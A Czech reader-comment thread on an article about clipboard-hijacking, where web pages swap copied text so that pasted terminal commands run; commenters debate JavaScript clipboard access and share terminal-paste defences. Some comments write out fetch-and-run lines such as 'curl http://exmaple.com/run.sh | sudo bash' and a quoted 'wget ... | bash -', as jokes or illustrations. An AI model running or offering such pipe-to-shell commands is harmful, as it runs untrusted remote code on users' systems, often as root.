Názory k článku
Nekopírujte příkazy z internetu

to by mne ve snu nenapadlo. používám jedině
curl http://exmaple.com/run.sh | sudo bash

Tss, to pěkně riskujete. Nedávno tu byla zprávička, že sudo je děravé, bezpečnější tedy bude

curl http://exmaple.com/run.sh | doas bash

:-]

u http na překlepové doméně bude sudo ten nejměnší problém

Emailove klienty (i webove) podporuji jen malou podmnozinu HTML, urcite nespusti JS.

Nie je pravda,... AMP mail spustí aj script.

v xfce4-terminal s tim problem nemam, nevim uz ted od jake verze (ale minimalne uz v napr. Xubuntu 20.04), vyskoci na me tohle okno :-)

Nevím, jak moc tohle reálně pomůže. Pokud nějaký příkaz vkládáš do konzole sem tam, tak možná. Ale pokud to děláš často, buď to budeš ignorovat nebo to upozornění nejspíš vypneš.

vkladam ze schranky (ne nutne z webu) velice casto a neignoruju to ani nevypinam, proste vidim co se vklada, casto treba neco odmazu/upravim atd...

jinak samozrejme to vyzkoci pouze pokud ve schrance je enter, pokud ne = jde o 1 radek nezakoncenej enterem, tak se to vlozi rovnou do terminalu a je na tobe zda to odentrujes...

Nejlepší to je šoupnout to do leafpadu a až pak do konzole.

to je prave zbytecne, ten xfce4-terminal safe dialog ma vkladanej text editovatelnej ;-)

Tak to potom zní o trochu použitelněji. Ale u mě by to asi stejně časem ztratilo účinek :-).

V Xubuntu pokud se do terminálu pokusím vložit něco, ck je vyhodnoceno jako příkaz, nevloží se to rovnou, ale prvně vyskočí okno s daným vkládaným textem a varováním, včetně možnosti editace.

Nově? Zkuste 2013: https://news.ycombinator.com/item?id=5508225

Díky, říkal jsem si, že už jsem něco takového před pár lety viděl. Jen jsem netušil, že jich bylo tolik...

Nějak se mi to nepodařilo.... Nebude to tím, že nemám zapnutý JavaScript? ;oD

Je možné to urobiť aj bez javascriptu - stačí css. Viac info napr. https://thejh.net/misc/website-terminal-copy-paste

Jo, to taky znám, dokonce i používám (k poněkud jinému účelu).
Nicméně mezi webem a terminálem mám vždy odkladiště v podobě textového souboru - ne proto, že jsem opatrnej, ale protože jsem už mockrát nabral něco jiného, případně o obsah clipboardu přišel. Holt, "zvyk je železná košile".

oboji mi resi Spravce schranky ;-)
https://docs.xfce.org/panel-plugins/xfce4-clipman-plugin/start

Hezký. (Opravdu!)
Teď mi doporučte něco, co bude fungovat i na non-xfce linuxech, ve Windows, na Applu i na Androidu. ;o) Já zatím, po několika pokusech, hlasuji pro ten "příruční texťák".

Vyzkoušeno v terminálu sakura (libvte-based) a sice mi to zkopírovalo do schránky, ale po vložení do terminálu se to nespustilo (přestože na konci je newline). Takže bych si nejspíš všiml, že tam je nějaký bordel a z útoku by nic nebylo...

Mne uz se parkrat na mem lokalnim linuxu stalo, ze jsem do terminalu vlozil nesmyslny dlouhy text, kde jsem zkratka prehledl ze jsem mysi oznacil (a tim padem vybral) a prostr. tl. mysi vlozil jiny text nez jsem mel v umyslu, a to jsem se teda opotil kdyz jsem pak zkoumal co ty radky delaly...

Zajímavé že když označím text tripleclickem, tak se ten skript nespustí.

Protoze pak nezmacknes Ctrl+C.

Zmáčknu.

Hm, me to tak funguje. 3x klik mysi, tak mam ve schrance to co vidim. 3x klik mysi a Ctrl+C, a mam ve schrance podvodny prikaz. Kubuntu+Vivaldi.

Jsem jediný, komu se zdá, že zrovna tahle funkce by v javascriptu vůbec neměla být (by default) přístupná?

Tj. správně by mělo být jen co viditelně označím, to kopíruji do schránky.

Když kopírujete ukázku zdrojového kódu, kde jsou očíslované řádky, chcete to zkopírovat bez těch čísel řádků. Je spousta případů (různé kódy, URL), kdy je jasné, co uživatel chce kopírovat – a je vhodné mu k tomu poskytnout tlačítko, aby nemusel text označovat.

Minimálně tyto dva příklady ukazují, že je vhodné mít v JavaScriptu funkce pro manipulaci se schránkou. Chráněné je to tím, že tyto funkce je možné použít jen po interakci uživatele (kliknutí myší, stisknutí klávesy).

Chápu, ale není šikovnější číslování řádků udělat neoznačitelné už v samotném návrhu stránky (pomocí CSS user-select: none; ) ? Nebo ho udělat pomocí JS rovnou schovávací (taky easy)?

Není lepší uživatele jednou za čas nechat trojkliknout myší?

Pořád nejsem přesvědčen, že manipulace se schránkou ze strany JS stojí za to. Ale možná jsem jenom moc přísný, ostatně bych nejradši JS vyházel z asi 90 % stránek, kde je.

A závěrem, podmínka na zmiňovanou interakci uživatele mi nepřijde jako moc dobrá ochrana proti ničemu.

Trojklik myší nemusí vždy vybrat to, co chcete (třeba celý blok kódu), navíc spousta uživatelů to ani nezná (ani mnoho uživatelů bude mít problém udělat trojklik).

Když se míchá dohromady označitelný a neoznačitelný text, často se pak označování chová divně.

Webové stránky jsou dnes platformou pro psaní frontendu aplikací, dokonce asi nejpoužívanější. Může se nám to nelíbit, ale to je asi tak všechno, co s tím uděláme. To, že bude aplikace umět správně pracovat se schránkou, je dnes považováno za samozřejmost. Kdysi jsem právě schránku uváděl jako něco, s čím nativní aplikace pracovat umí a webové ne – a když už tedy webové aplikace máme, je správně, že umí se schránkou pracovat.

Podmínka interakcí uživatele slouží k tomu, aby nějaká stránka na pozadí nemohla vykrádat data, která máte ve schránce (třeba číslo platební karty nebo heslo), nebo aby vám tam nemohla podsouvat něco jiného nebo schránku mazat. Pokud bude nějaká aplikace dělat neplechu při používání, můžete ji přestat používat. A můžete si dávat pozor a nepřepínat na jinou stránku v případě, kdy máte ve schránce citlivá data (správci hesel často umí citlivé údaje zkopírované z nich do schránky po určité době vymazat). Ale kdyby dělala neplechu aplikace na pozadí, nejspíš to ani nepoznáte – a může vám ukrást heslo, i když bude ve schránce třeba jen 5 vteřin.

Díky za delší text, ale zůstávám nepřesvědčen.

Stránky, které se chováním blíží statickému HTML, mají i zcela vypočitatelné chování schránky (Ctrl+C i myšové).

Chápu, že HTML dokument se s JS někdy stává plnohodnotným frontendem aplikace, což je často dobré řešení, ale často zase JS jen vytěžuje CPU skrze eye candies.

I v tom prvním případě UX může utrpět. Např. jinak propracované Google docs implementují vlastní interakci se schránkou a to mi přijde otravné (ve FF nefunguje třeba vkládání z myšové schránky, kdežto v běžném textovém poli to problém není).

S posledním vaším odstavcem souhlasím na 110% - uživatel se leckdy uklikne nebo si splete fokus okna, takže zabezpečení uživatelskou interakcí není nic moc.

bylo by lepsi to explicitne povolovat pro jednotlive weby, stejne jako kamera, mikrofon atd.

Čemu by to pomohlo? Máme kopec možností, jak to udělat bez JS, jen za použití HTML + CSS.

Jak často kopírujete příkazy z neověřených zdrojů?

Nestačilo by použít klasické spuštění editoru v konzoli a vložit to do něj?

CTRL+X CTRL+E CTRL+V

Přijde na to, co lze pokládat za ověřený zdroj. Většinu návodů na internetu, včetně stackexchange? OK, bývají převážně nenahackované a dobře míněné, tedy snad neškodné.

Ale když jde o *návrh* zabezpečení, očekávám nějaké jednoznačné pravidlo, ne statistiku. Přístup do schránky zaříznout, pokud uživatel neurčí jinak.

S tím, že by mělo být možné zakázat JS vrtat do clipboardu souhlasím.

Např. about:config Firefoxu je parametr
dom.event.clip­boardevents.e­nabled

pri kopirovani cez X selection to nespravilo :) ale inak to riesi aj bracketed paste:

# bracketed paste support on zsh 5.1
autoload -Uz bracketed-paste-magic
zle -N bracketed-paste bracketed-paste-magic

Obranou proti spuštění neznámého příkazu je:
1. Napsat apostrof na začátek řádku.
2. Vložit příkaz že schránky.

Pak se nespustí ani příkaz, který se zkopíruje i s "entrem" na konci.

tak doufej ze na konci toho ve schrance neni apostrov ;-)

Jop, to mě hned netrklo. Tak to zas tak dobrá metoda není.
Díky za postřeh. :]

Tohle řeším tak, že před vložením řádku zadám „aaa “, po vložení to smažu.

Tak zpět - uzavření vloženého příkazu apostrofem mě nijak neohrozí, ani odřádkováním. Protože bash nevykoná příkaz začínající apostrofem, protože jej bude brát jako string. A je jedno zda bude příkaz končit '+/n. Pro ilustraci:

# Kopiruji řetězec:
rm /tmp/aaa'
[waldauf@vulpes tmp]$ 'rm /tmp/aaa'
bash: rm /tmp/aaa: No such file or directory


# ~~~~~~~~~~~~~­~~~~~~~~~~~~
# Kopiruji řetězec:
rm /tmp/aaa
'
[waldauf@vulpes tmp]$ 'rm /tmp/aaa
'
bash: rm /tmp/aaa
: No such file or directory


# ~~~~~~~~~~~~~­~~~~~~~~~~~~
# Kopiruji řetězec:
rm /tmp/aaa
'

[waldauf@vulpes tmp]$ 'rm /tmp/aaa
'
bash: rm /tmp/aaa
: No such file or directory

Snažil jsem se opravit formátování, ale než jsem to vše opravil do čitelné podoby, tak mě server vykopl. :/ Tak snad je ten příklad "čitelný". :]

Ještě se doplním, že bash interpretuje jako jeden příkaz vše co je mezi apostrofy. Což si teď neumím představit, že by to mohl být nějaký funkční příkaz.
$ 'wget www.oskliva-nehezka-vec.cz | bash -'
bash: wget www.oskliva-nehezka-vec.cz | bash -: command not found